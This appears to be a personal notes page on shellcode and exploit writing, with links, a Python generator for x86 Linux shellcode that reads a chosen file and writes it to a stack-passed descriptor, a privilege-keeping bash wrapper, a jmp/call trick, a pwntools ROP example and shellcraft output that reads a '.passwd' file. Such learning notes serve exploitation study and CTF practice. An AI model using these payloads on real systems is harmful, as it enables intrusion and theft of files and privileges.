Shellcode
Note that the usually the base pointer is trashed during the exploting process in a normal exploitation process, but the stack pointer is not.
- http://www.blackhatlibrary.net/Shellcode/Null-free
- Error codes
- ARMv8 Shellcodes from ‘A’ to ‘Z’
- https://www.codeproject.com/Articles/325776/The-Art-of-Win-Shellcoding
- https://blog.senr.io/blog/why-is-my-perfectly-good-shellcode-not-working-cache-coherency-on-mips-and-arm
- ARM Polyglot Shellcode - HITB2019AMS
- Understanding Windows Shellcode
Since the standard /bin/sh
is a link to /bin/bash
that
droppes privileges when called, you can call instead a script
like the following
#!/usr/bin/env python2
import os
os.setresuid(os.geteuid(), os.geteuid(), os.geteuid())
os.execlp("bash", "bash")
In order to make the payload more abstract possible (think about environmental variables) you need to use a shell without configuration
$ env -i bash --norc --noprofile
You can look at the system log to understand crashes, for example
the error level in syslog are defined in arch/*/mm/fault.c
in kernel
source code: for example the kernel can log a line like
kernel: myapp[15514]: segfault at 794ef0 ip 080513b sp 794ef0 error 6 in myapp[8048000+24000]
This link can help on analyze the meaning.
If you want to capture the segmentation fault error you can do something like this
{ ./code; } >&log
/*
* Page fault error code bits:
*
* bit 0 == 0: no page found 1: protection fault
* bit 1 == 0: read access 1: write access
* bit 2 == 0: kernel-mode access 1: user-mode access
* bit 3 == 1: use of reserved bit detected
* bit 4 == 1: fault was an instruction fetch
*/
So
- if the error code is 4, then the faulty memory access is a read from userland
- if the error code is 6, then the faulty memory access is a write from userland
Stack-based
In this context you are to pratically programming with assembly into a buffer.
For example the following shellcode opens a fixed file and then write its contents of to a file descriptor passed as first argument into the stack:
# linux/x86/read_file - 84 bytes
# http://www.metasploit.com
# VERBOSE=false, PrependFork=false, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependSetresgid=false, PrependSetregid=false,
# PrependSetgid=false, PrependChrootBreak=false,
#
# Modified shell code that reads a file and write its contents in the file descriptor
# passed as first argument into the stack.
#
# TODO: make configurable the use of sys_sendto() and return to the caller.
import sys
if len(sys.argv) < 2:
sys.stderr.write('usage: %s <PATH>' % sys.argv[0])
sys.exit(1)
path = sys.argv[1]
def put_piece_into_stack(piece):
length = len(piece)
assert length <= 4
null_byte_needed = length < 4
if null_byte_needed:
piece = 'x'*(4 - length) + piece
return null_byte_needed, ('\xb8%s' % piece) + \
('\xc1\xe8%c' % ((4 - length)*8) if null_byte_needed else '') + \
'\x50'
def build_string_into_stack(path_string):
'''Returns the instructions to put into the stack
the path needed
0x00000002 5 b87878786f mov eax, 0x6f787878
0x00000007 3 c1e818 shr eax, 0x18
0x0000000a 1 50 push eax
'''
path_length = len(path_string)
# split the path so that each piece fit into a 32 bits register
path_componentes = [path_string[x:x + 4] for x in range(0, path_length, 4)]
path_componentes.reverse()
buf = ''
for path_component in path_componentes:
null_byte_needed, opcode = put_piece_into_stack(path_component)
buf += opcode
return buf
buf = "" # NOTE: some offset are wrong since we have modified the original shellcode
buf += "\x89\xe5" # 0x00000000 2 89e5 mov ebp, esp
buf += build_string_into_stack(path)
buf += "\x31\xc0" # 0x00000017 2 31c0 xor eax, eax
buf += "\x40" # 0x00000019 1 40 inc eax
buf += "\x40" # 0x0000001a 1 40 inc eax
buf += "\x40" # 0x0000001b 1 40 inc eax
buf += "\x40" # 0x0000001c 1 40 inc eax
buf += "\x40" # 0x0000001d 1 40 inc eax
buf += "\x89\xe3" # 0x0000001e 2 89e3 mov ebx, esp
buf += "\x31\xc9" # 0x00000020 2 31c9 xor ecx, ecx
buf += "\xcd\x80" # 0x00000022 2 cd80 int 0x80 sys_open()
buf += "\x89\xc3" # 0x00000024 2 89c3 mov ebx, eax
buf += "\xb8\x40\x30\x20\x10" # 0x00000026 5 b840302010 mov eax, 0x10203040
buf += "\xc1\xe8\x10" # 0x0000002b 3 c1e810 shr eax, 0x10
buf += "\x50" # 0x0000002e 1 50 push eax
buf += "\x29\xc4" # 0x0000002f 2 29c4 sub esp, eax
buf += "\x31\xc0" # 0x00000031 2 31c0 xor eax, eax
buf += "\x40" # 0x00000033 1 40 inc eax
buf += "\x40" # 0x00000034 1 40 inc eax
buf += "\x40" # 0x00000035 1 40 inc eax
buf += "\x89\xe7" # 0x00000036 2 89e7 mov edi, esp
buf += "\x89\xf9" # 0x00000038 2 89f9 mov ecx, edi
buf += "\x8b\x55\xf0" # 0x0000003a 3 8b55f0 mov edx, [ebp-0x10]
buf += "\xcd\x80" # 0x0000003d 2 cd80 int 0x80 sys_read()
buf += "\x89\xc2" # 0x0000003f 2 89c2 mov edx, eax
buf += "\x31\xc0" # 0x00000041 2 31c0 xor eax, eax
buf += "\x40" # 0x00000043 1 40 inc eax
buf += "\x40" # 0x00000044 1 40 inc eax
buf += "\x40" # 0x00000045 1 40 inc eax
buf += "\x40" # 0x00000046 1 40 inc eax
buf += "\x8b\x5d\x04" # 0x00000047 3 8b5d04 mov ebx, [ebp+0x4]
buf += "\xcd\x80" # 0x0000004a 2 cd80 int 0x80 sys_write()
buf += "\x31\xc0" # 0x0000004c 2 31c0 xor eax, eax
buf += "\x40" # 0x0000004e 1 40 inc eax
buf += "\x31\xdb" # 0x0000004f 2 31db xor ebx, ebx
buf += "\xcd\x80" # 0x00000051 2 cd80 int 0x80 sys_exit()
sys.stdout.write(buf)
Retrieve buffer related address
This below is an example in which we do a jmp and a call back, in this
way we obtain from the stack the address from which the call is started:
(the code is for amd64
)
/* call write(1, 4196356, 3) */
jmp miao
start:
pop rsi
push (SYS_write) /* 1 */
pop rax
push 1
pop rdi
push 50
pop rdx
syscall
ret
miao: call start
.ascii "miao\0"
(is inspired from the original Smashing The Stack For Fun And Profit).
ROP
import sys
from pwnlib.rop import rop
from pwnlib import constants
from pwnlib.context import context
context.arch = 'amd64'
r = rop.ROP('libc.so.6')
r.write(constants.STDOUT_FILENO, 0x400639, 5)
r.exit()
sys.stderr.write(r.dump())
sys.stdout.write(str(r))
- Some universal gadget sequence for Linux x86_64 ROP payload
- ROP stack pivoting
- ROPShell online rop gadgets
- X64 Sigreturn Oriented Programming
- Sigreturn Oriented Programming
- Ropemporium Learn return-oriented programming through a series of challenges designed to teach ROP techniques in isolation, with minimal reverse-engineering and bug-hunting.
- one_gadget A tool for you easy to find the one gadget RCE in libc.so.6
- one-gadget RCE in Ubuntu 16.04 libc
- universalrop Small tool for generating ropchains using unicorn and z3
- Blind Return Oriented Programming
Links
- Bypassing ASLR – Part III GOT overwrite and GOT dereference
- Exploiting WebKit on Vita 3.60
- Porting exploits to a Netgear WNR2200
- Common Pitfalls When Writing Exploits
- Finding kernel symbols for shell code methodology to find address of kernel symbols
- Linux Kernel pktcdvd Memory Disclosure
- Super-Stealthy Droppers about injecting code in running processes without using
ptrace
butmemfd_create
andfexecve
- Problem with addresses when testing exploits under gdb
Tools
It's possible to generate automagically shellcodes using some tools like shellcraft
a command line program included with pwntools
:
$ shellcraft i386.linux.cat .passwd --format asm
/* push '.passwd\x00' */
push 0x1010101
xor dword ptr [esp], 0x1657672
push 0x7361702e
/* call open('esp', 0, 'O_RDONLY') */
push (SYS_open) /* 5 */
pop eax
mov ebx, esp
xor ecx, ecx
cdq /* edx=0 */
int 0x80
/* call sendfile(1, 'eax', 0, 0x7fffffff) */
mov ecx, eax
xor eax, eax
mov al, 0xbb
push 1
pop ebx
push 0x7fffffff
pop esi
cdq /* edx=0 */
int 0x80
- https://github.com/Gallopsled/pwntools-tutorial